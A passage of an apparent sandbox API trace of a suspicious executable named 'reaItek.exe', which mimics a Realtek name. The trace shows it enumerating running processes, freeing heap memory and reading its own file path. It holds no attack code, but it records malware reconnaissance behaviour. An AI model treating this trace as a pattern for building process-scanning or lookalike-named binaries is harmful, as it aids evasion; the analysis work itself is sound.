Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.135] lstrlenW (lpString="dwm.exe") returned 7 [0093.135] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.136] lstrlenW (lpString="svchost.exe") returned 11 [0093.136] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.137] lstrlenW (lpString="svchost.exe") returned 11 [0093.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.137] lstrlenW (lpString="svchost.exe") returned 11 [0093.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.138] lstrlenW (lpString="svchost.exe") returned 11 [0093.138] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.138] lstrlenW (lpString="svchost.exe") returned 11 [0093.138] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.139] lstrlenW (lpString="svchost.exe") returned 11 [0093.139] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.140] lstrlenW (lpString="svchost.exe") returned 11 [0093.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.140] lstrlenW (lpString="svchost.exe") returned 11 [0093.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.141] lstrlenW (lpString="svchost.exe") returned 11 [0093.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.147] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.148] lstrlenW (lpString="svchost.exe") returned 11 [0093.148] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.148] lstrlenW (lpString="svchost.exe") returned 11 [0093.148] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.149] lstrlenW (lpString="audiodg.exe") returned 11 [0093.149] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0093.150] lstrlenW (lpString="sihost.exe") returned 10 [0093.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.150] lstrlenW (lpString="svchost.exe") returned 11 [0093.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.151] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.151] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0093.151] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0093.151] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0093.152] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0093.152] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.153] lstrlenW (lpString="explorer.exe") returned 12 [0093.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0093.153] lstrlenW (lpString="Memory Compression") returned 18 [0093.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0093.154] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0093.154] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0093.154] lstrlenW (lpString="SearchUI.exe") returned 12 [0093.154] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0093.155] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0093.155] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.156] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.156] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0093.157] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0093.157] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0093.157] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0093.157] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0093.158] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0093.158] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0093.159] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0093.159] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.160] lstrlenW (lpString="conhost.exe") returned 11 [0093.160] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0093.161] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0093.161] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0093.161] lstrlenW (lpString="upper arc.exe") returned 13 [0093.161] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0093.162] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0093.162] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0093.163] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0093.163] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0093.164] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0093.164] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0093.165] lstrlenW (lpString="blademcdonald.exe") returned 17 [0093.165] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0093.166] lstrlenW (lpString="courage.exe") returned 11 [0093.166] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0093.166] lstrlenW (lpString="pearl.exe") returned 9 [0093.166] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0093.167] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0093.167] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0093.167] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0093.167] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0093.168] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0093.168] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0093.168] lstrlenW (lpString="dome.exe") returned 8 [0093.169] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0093.169] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0093.169] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0093.170] lstrlenW (lpString="paying.exe") returned 10 [0093.170] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0093.171] lstrlenW (lpString="emission.exe") returned 12 [0093.171] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0093.172] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0093.172] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0093.173] lstrlenW (lpString="charter.exe") returned 11 [0093.173] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0093.173] lstrlenW (lpString="nickel.exe") returned 10 [0093.174] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0093.174] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0093.174] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0093.175] lstrlenW (lpString="wrist.exe") returned 9 [0093.175] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0093.176] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0093.176] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0093.177] lstrlenW (lpString="neck.exe") returned 8 [0093.177] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0093.178] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0093.178] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0093.179] lstrlenW (lpString="dllhost.exe") returned 11 [0093.179] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.192] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.192] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.193] lstrlenW (lpString="svchost.exe") returned 11 [0093.193] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.194] lstrlenW (lpString="svchost.exe") returned 11 [0093.194] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0093.195] lstrlenW (lpString="reaItek.exe") returned 11 [0093.195] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.196] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0093.197] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0093.197] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.198] lstrlenW (lpString="conhost.exe") returned 11 [0093.198] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0093.198] CloseHandle (hObject=0x240) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da1e0 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d9fa0 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5870 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d55f0 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6018 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6052e8 | out: hHeap=0x5c0000) returned 1 [0093.198] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5830 | out: hHeap=0x5c0000) returned 1 [0093.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d56f0 | out: hHeap=0x5c0000) returned 1 [0093.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe7f0 | out: hHeap=0x5c0000) returned 1 [0093.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe7c8 | out: hHeap=0x5c0000) returned 1 [0093.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5610 | out: hHeap=0x5c0000) returned 1 [0093.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x5c0000) returned 1 [0093.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x607700 [0093.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x617708 [0093.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6053a8 [0093.199] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6053a8, Size=0x20) returned 0x5fe868 [0093.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe868, Size=0x40) returned 0x5da3d8 [0093.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605228 [0093.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605228, Size=0x20) returned 0x5fe818 [0093.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6053f0 [0093.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6053f0, Size=0x20) returned 0x5fec28 [0093.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605198 [0093.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605198, Size=0x20) returned 0x5fe7c8 [0093.200] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe7c8, Size=0x40) returned 0x5da660 [0093.200] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x617708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe")) returned 0x23 [0093.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x627710 [0093.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x637718 [0093.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605228 [0093.201] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605228, Size=0x20) returned 0x5feb60 [0093.201] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feb60, Size=0x40) returned 